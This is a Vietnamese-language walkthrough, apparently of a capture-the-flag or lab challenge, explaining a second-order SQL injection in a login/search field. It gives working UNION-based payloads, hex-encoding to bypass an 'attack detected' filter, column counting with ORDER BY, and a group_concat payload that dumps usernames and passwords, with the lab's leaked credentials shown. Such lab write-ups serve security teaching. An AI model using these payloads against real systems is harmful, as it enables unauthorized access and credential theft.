Source code demo:



Điều kì diệu là đầu ra của câu truy vấn thứ 1 lại là đầu vào của của câu truy vấn thứ 2. Để khai thác lỗi sql injection, ta phải kiểm soát đầu vào của câu truy vấn thứ 2 – biến sec-code.

Sau khi đã hiểu dc bản chất, chúng ta sẽ bắt đầu khai thác .

- Bài này dính lỗi sql injection ở phần tìm kiếm

Login=’

You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''''' at line 1

Câu truy vấn : select user from users where user=’admin’

Thử khai thác bằng UNION:

Login=admin+’+UNION+SELECT+NULL#

<br>

[+] Found ID: 3<br>

[+] Email: [admin@sqli\_me.com<br](mailto:admin@sqli_me.com%3cbr)>

Rõ ràng chỉ truy suất được username thoi nhưng tại sao lại có id,email.

🡪 sql injection routed.

Kết quả câu truy vấn thứ 1 là:

Admin

null

Mình đoán câu truy vấn 2 sẽ là:

Select user\_id,email from users where user=’admin’

Nếu mình đưa đk đúng vào câu truy vấn 2

Login=’+UNION+SELECT+(‘ OR 1=1#)+#

Kết quả:

NULL

‘ OR 1=1#

->Câu truy vấn 2:

Select user\_id,email from users where user=’’ OR 1=1 #’🡪 liệt kê đc hết các dòng trong csdl.

Nhưng xui quá: attack detected ☺

Mình sẽ mã hóa HEX: ‘ OR 1=1# 🡪 0x27206f7220313d3123 (không có dấu +)

Login: '+UNION+SELECT+0x27206f7220313d3123#

Kết quả: tìm thấy user cuối cùng có id là 3 (thành công). Nhưng quan trọng hơn , chúng ta đã tìm dc cách bypass filter.

(Lưu ý : câu truy vấn 1 mã hóa url nên có dấu +)

Tiếp theo, ta xác định số cột của câu truy vấn 2 bằng order by.

Login: ‘+UNION+SELECT+(‘ ORDER BY 3#)+#

Mã hóa hex: ‘ ORDER BY 3# 🡪 0x27204f52444552204259203323

Kết quả: Unknown column '3' in 'order clause'

Lỗi này là 1 tin tốt vì kết quả chúng ta nhận dc chỉ có id và email.

Tiêm union select để truy suất dữ liệu khác.

Login: ‘+UNION+SELECT+(‘ UNION SELECT 1,2#) #

(không có dấu ngoặc nha)

Mã hóa hex: ‘ UNION SELECT 1,2# 🡪 0x2720554e494f4e2053454c45435420312c3223

Kết quả: id 1 email 2 🡪tiêm thành công

Bây giờ bài toán đã trở nên dễ hơn.

Vì kết quả trả về nhiều dòng , phải dùng group\_concat.

Mã hóa hex: ‘UNION SELECT 1,(select group\_concat(login,':',password) from users)# 🡪0x2720554e494f4e2053454c45435420312c2873656c6563742067726f75705f636f6e636174286c6f67696e2c273a272c70617373776f7264292066726f6d2075736572732923

Kết quả:

Id: 1

Email: admin:qs89QdAs9A,jean:superpass,michel:mypass

Đính chính lại: bài này không dùng mysqli\_escape\_string() nha, tại sao mình phải mã hóa? Làm như vậy câu lệnh mới thực thi được vì dấu nháy đơn không đúng ah nên ứng dụng báo lỗi. Mà bài này cứ lỗi là báo attack detected! làm mình lầm tưởng là nó sàng lọc dấu nháy đơn.